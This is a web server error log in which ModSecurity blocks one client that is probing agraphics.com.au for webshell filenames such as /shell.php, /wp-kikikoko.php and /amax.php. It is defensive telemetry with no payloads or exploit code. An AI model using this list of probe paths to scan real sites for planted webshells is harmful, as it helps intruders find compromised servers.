[Thu Apr 23 21:27:42.959751 2026] [:error] [pid 59700:tid 59711] [client 20.251.223.35:38182] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/plugin-install.php"] [unique_id "aeoeTpXyGZJFeAIDWtkqYgAAAUk"]
[Thu Apr 23 21:27:43.006985 2026] [:error] [pid 64998:tid 65019] [client 20.251.223.35:5670] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws66.php"] [unique_id "aeoeT4V5EysYcTLjmwh_RgAAAdE"]
[Thu Apr 23 21:27:43.714199 2026] [:error] [pid 59700:tid 59707] [client 20.251.223.35:5662] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/plugin-install.php"] [unique_id "aeoeT5XyGZJFeAIDWtkqZAAAAUU"]
[Thu Apr 23 21:27:43.850224 2026] [:error] [pid 64998:tid 65018] [client 20.251.223.35:51409] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file61.php"] [unique_id "aeoeT4V5EysYcTLjmwh_TQAAAdA"]
[Thu Apr 23 21:27:44.409563 2026] [:error] [pid 43083:tid 43090] [client 20.251.223.35:29528] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/plugin-install.php"] [unique_id "aeoeUDC5hrvNXosL83J5YgAAAMU"]
[Thu Apr 23 21:27:44.933825 2026] [:error] [pid 64998:tid 65012] [client 20.251.223.35:51413] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/plugin-install.php"] [unique_id "aeoeUIV5EysYcTLjmwh_VQAAAco"]
[Thu Apr 23 21:27:45.552037 2026] [:error] [pid 25635:tid 25654] [client 20.251.223.35:5230] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ioxi001.PhP7"] [unique_id "aeoeUcRxv6UsgRGKB3I0fAAAAQ8"]
[Thu Apr 23 21:27:45.605432 2026] [:error] [pid 59700:tid 59715] [client 20.251.223.35:50321] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file61.php"] [unique_id "aeoeUZXyGZJFeAIDWtkqbAAAAU0"]
[Thu Apr 23 21:27:47.203551 2026] [:error] [pid 42973:tid 43056] [client 20.251.223.35:51449] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ioxi001.PhP7"] [unique_id "aeoeU26I0QqmmmLTHE0c4QAAAI0"]
[Thu Apr 23 21:27:47.564445 2026] [:error] [pid 42973:tid 43064] [client 20.251.223.35:6085] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file61.php"] [unique_id "aeoeU26I0QqmmmLTHE0c5AAAAJU"]
[Thu Apr 23 21:27:48.026157 2026] [:error] [pid 46953:tid 46958] [client 20.251.223.35:38200] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ioxi001.PhP7"] [unique_id "aeoeVEnlpdHh-P6wKbo6CAAAAkI"]
[Thu Apr 23 21:27:48.982484 2026] [:error] [pid 42972:tid 43024] [client 20.251.223.35:51399] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ioxi001.PhP7"] [unique_id "aeoeVMOAb-3sOknsk4c-WQAAAEg"]
[Thu Apr 23 21:27:50.058699 2026] [:error] [pid 64998:tid 65011] [client 20.251.223.35:29524] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-kikikoko.php"] [unique_id "aeoeVoV5EysYcTLjmwh_YgAAAck"]
[Thu Apr 23 21:27:51.394245 2026] [:error] [pid 42971:tid 42999] [client 20.251.223.35:5206] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-kikikoko.php"] [unique_id "aeoeVzEP2_5RswrH8bEr9QAAAA0"]
[Thu Apr 23 21:27:52.171997 2026] [:error] [pid 59700:tid 59715] [client 20.251.223.35:38187] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-kikikoko.php"] [unique_id "aeoeWJXyGZJFeAIDWtkqdQAAAU0"]
[Thu Apr 23 21:27:53.117687 2026] [:error] [pid 42971:tid 42989] [client 20.251.223.35:39453] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-kikikoko.php"] [unique_id "aeoeWTEP2_5RswrH8bEr9gAAAAM"]
[Thu Apr 23 21:27:53.867557 2026] [:error] [pid 42971:tid 42993] [client 20.251.223.35:38657] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file61.php"] [unique_id "aeoeWTEP2_5RswrH8bEr9wAAAAc"]
[Thu Apr 23 21:27:54.156089 2026] [:error] [pid 42972:tid 43026] [client 20.251.223.35:37549] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hplfuns.php"] [unique_id "aeoeWsOAb-3sOknsk4c-ZQAAAEo"]
[Thu Apr 23 21:27:55.198619 2026] [:error] [pid 64967:tid 64981] [client 20.251.223.35:37546] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hplfuns.php"] [unique_id "aeoeW4AV4GfOOdX8Qzp2TgAAAYw"]
[Thu Apr 23 21:27:56.364411 2026] [:error] [pid 65000:tid 65056] [client 20.251.223.35:51443] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hplfuns.php"] [unique_id "aeoeXL6vRb9j6psK2ZaMQAAAAhc"]
[Thu Apr 23 21:27:58.024505 2026] [:error] [pid 64998:tid 65023] [client 20.251.223.35:38202] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hplfuns.php"] [unique_id "aeoeXoV5EysYcTLjmwh_fAAAAdU"]
[Thu Apr 23 21:28:00.298386 2026] [:error] [pid 46953:tid 46958] [client 20.251.223.35:33914] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/shell.php"] [unique_id "aeoeYEnlpdHh-P6wKbo6FgAAAkI"]
[Thu Apr 23 21:28:02.443787 2026] [proxy_fcgi:error] [pid 42973:tid 43060] [client 20.251.223.35:46258] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:28:02.733770 2026] [proxy_fcgi:error] [pid 42973:tid 43063] [client 20.251.223.35:46258] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:28:03.411365 2026] [proxy_fcgi:error] [pid 42973:tid 43051] [client 20.251.223.35:46258] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:28:03.682609 2026] [proxy_fcgi:error] [pid 42973:tid 43046] [client 20.251.223.35:46258] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:28:03.949275 2026] [proxy_fcgi:error] [pid 42973:tid 43066] [client 20.251.223.35:46258] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:28:04.217115 2026] [proxy_fcgi:error] [pid 42973:tid 43059] [client 20.251.223.35:46258] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:28:04.481074 2026] [proxy_fcgi:error] [pid 42973:tid 43050] [client 20.251.223.35:46258] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:28:04.749967 2026] [proxy_fcgi:error] [pid 42973:tid 43055] [client 20.251.223.35:46258] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:28:06.470443 2026] [proxy_fcgi:error] [pid 42973:tid 43049] [client 20.251.223.35:39903] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:28:06.712958 2026] [proxy_fcgi:error] [pid 42973:tid 43043] [client 20.251.223.35:46258] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:28:07.356351 2026] [proxy_fcgi:error] [pid 42973:tid 43048] [client 20.251.223.35:46258] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:28:07.356753 2026] [proxy_fcgi:error] [pid 42973:tid 43054] [client 20.251.223.35:39903] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:28:07.640245 2026] [:error] [pid 42973:tid 43060] [client 20.251.223.35:46258] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/asd.php"] [unique_id "aeoeZ26I0QqmmmLTHE0dJAAAAJE"]
[Thu Apr 23 21:28:07.640328 2026] [:error] [pid 42973:tid 43063] [client 20.251.223.35:39903] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a5.php"] [unique_id "aeoeZ26I0QqmmmLTHE0dJQAAAJQ"]
[Thu Apr 23 21:28:12.994954 2026] [:error] [pid 42971:tid 43003] [client 20.251.223.35:30813] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/asd.php"] [unique_id "aeoebDEP2_5RswrH8bEsEQAAABE"]
[Thu Apr 23 21:28:19.455159 2026] [:error] [pid 64967:tid 64988] [client 20.251.223.35:37062] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/asd.php"] [unique_id "aeoec4AV4GfOOdX8Qzp2XwAAAZM"]
[Thu Apr 23 21:28:23.117055 2026] [:error] [pid 42972:tid 43029] [client 20.251.223.35:5919] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/asd.php"] [unique_id "aeoed8OAb-3sOknsk4c-pgAAAE0"]
[Thu Apr 23 21:28:29.453255 2026] [:error] [pid 42973:tid 43063] [client 20.251.223.35:32073] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xx.php"] [unique_id "aeoefW6I0QqmmmLTHE0dQQAAAJQ"]
[Thu Apr 23 21:28:31.544659 2026] [:error] [pid 46953:tid 46956] [client 20.251.223.35:52630] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xx.php"] [unique_id "aeoef0nlpdHh-P6wKbo6OQAAAkA"]
[Thu Apr 23 21:28:32.940312 2026] [:error] [pid 46953:tid 46973] [client 20.251.223.35:40537] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xx.php"] [unique_id "aeoegEnlpdHh-P6wKbo6PQAAAlE"]
[Thu Apr 23 21:28:33.843805 2026] [:error] [pid 46953:tid 46979] [client 20.251.223.35:41077] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xx.php"] [unique_id "aeoegUnlpdHh-P6wKbo6PwAAAlY"]
[Thu Apr 23 21:28:34.850288 2026] [:error] [pid 42973:tid 43055] [client 20.251.223.35:35823] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a5.php"] [unique_id "aeoegm6I0QqmmmLTHE0dSwAAAIw"]
[Thu Apr 23 21:28:35.701200 2026] [:error] [pid 65000:tid 65057] [client 20.251.223.35:46164] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a5.php"] [unique_id "aeoeg76vRb9j6psK2ZaM1AAAAhg"]
[Thu Apr 23 21:28:36.933811 2026] [:error] [pid 65000:tid 65044] [client 20.251.223.35:62349] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a5.php"] [unique_id "aeoehL6vRb9j6psK2ZaM4AAAAgs"]
[Thu Apr 23 21:28:38.394011 2026] [:error] [pid 64998:tid 65009] [client 20.251.223.35:5697] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a5.php"] [unique_id "aeoehoV5EysYcTLjmwh_7gAAAcc"]
[Thu Apr 23 21:28:39.495011 2026] [:error] [pid 42972:tid 43039] [client 20.251.223.35:5736] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cu.php"] [unique_id "aeoeh8OAb-3sOknsk4c-uAAAAFc"]
[Thu Apr 23 21:28:41.715831 2026] [:error] [pid 42973:tid 43050] [client 20.251.223.35:49657] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cu.php"] [unique_id "aeoeiW6I0QqmmmLTHE0dVgAAAIc"]
[Thu Apr 23 21:28:43.679171 2026] [:error] [pid 65000:tid 65038] [client 20.251.223.35:49618] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cu.php"] [unique_id "aeoei76vRb9j6psK2ZaM_gAAAgU"]
[Thu Apr 23 21:28:47.829963 2026] [:error] [pid 42972:tid 43021] [client 20.251.223.35:61817] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cu.php"] [unique_id "aeoej8OAb-3sOknsk4c-vwAAAEU"]
[Thu Apr 23 21:28:50.502179 2026] [:error] [pid 65000:tid 65046] [client 20.251.223.35:53925] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cu.php"] [unique_id "aeoekr6vRb9j6psK2ZaNKwAAAg0"]
[Thu Apr 23 21:28:50.727813 2026] [:error] [pid 65000:tid 65053] [client 20.251.223.35:54746] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/amax.php"] [unique_id "aeoekr6vRb9j6psK2ZaNLQAAAhQ"]
[Thu Apr 23 21:28:53.188938 2026] [:error] [pid 65000:tid 65041] [client 20.251.223.35:59672] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cu.php"] [unique_id "aeoelb6vRb9j6psK2ZaNOwAAAgg"]
[Thu Apr 23 21:28:53.337868 2026] [:error] [pid 64998:tid 65019] [client 20.251.223.35:54720] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/amax.php"] [unique_id "aeoelYV5EysYcTLjmwiAGwAAAdE"]
[Thu Apr 23 21:28:54.519160 2026] [:error] [pid 42973:tid 43066] [client 20.251.223.35:54734] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cu.php"] [unique_id "aeoelm6I0QqmmmLTHE0dbgAAAJc"]
[Thu Apr 23 21:28:55.238427 2026] [:error] [pid 59700:tid 59723] [client 20.251.223.35:56452] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cu.php"] [unique_id "aeoel5XyGZJFeAIDWtkqqgAAAVU"]
[Thu Apr 23 21:28:55.628268 2026] [:error] [pid 59700:tid 59724] [client 20.251.223.35:54763] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/amax.php"] [unique_id "aeoel5XyGZJFeAIDWtkqqwAAAVY"]
[Thu Apr 23 21:28:55.967439 2026] [:error] [pid 59700:tid 59722] [client 20.251.223.35:56509] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/amax.php"] [unique_id "aeoel5XyGZJFeAIDWtkqrAAAAVQ"]
[Thu Apr 23 21:28:56.530444 2026] [:error] [pid 42973:tid 43045] [client 20.251.223.35:61875] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/amax.php"] [unique_id "aeoemG6I0QqmmmLTHE0dcwAAAII"]
[Thu Apr 23 21:28:57.310989 2026] [:error] [pid 64998:tid 65010] [client 20.251.223.35:56478] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/amax.php"] [unique_id "aeoemYV5EysYcTLjmwiAKgAAAcg"]
[Thu Apr 23 21:28:57.937952 2026] [:error] [pid 59700:tid 59706] [client 20.251.223.35:31464] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/amax.php"] [unique_id "aeoemZXyGZJFeAIDWtkqrgAAAUQ"]
[Thu Apr 23 21:28:58.505777 2026] [:error] [pid 42973:tid 43065] [client 20.251.223.35:42323] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mh.php"] [unique_id "aeoemm6I0QqmmmLTHE0deAAAAJY"]
[Thu Apr 23 21:28:58.809972 2026] [:error] [pid 42972:tid 43040] [client 20.251.223.35:31447] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/amax.php"] [unique_id "aeoemsOAb-3sOknsk4c-ywAAAFg"]
[Thu Apr 23 21:28:59.180217 2026] [:error] [pid 42973:tid 43047] [client 20.251.223.35:53906] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mh.php"] [unique_id "aeoem26I0QqmmmLTHE0degAAAIQ"]
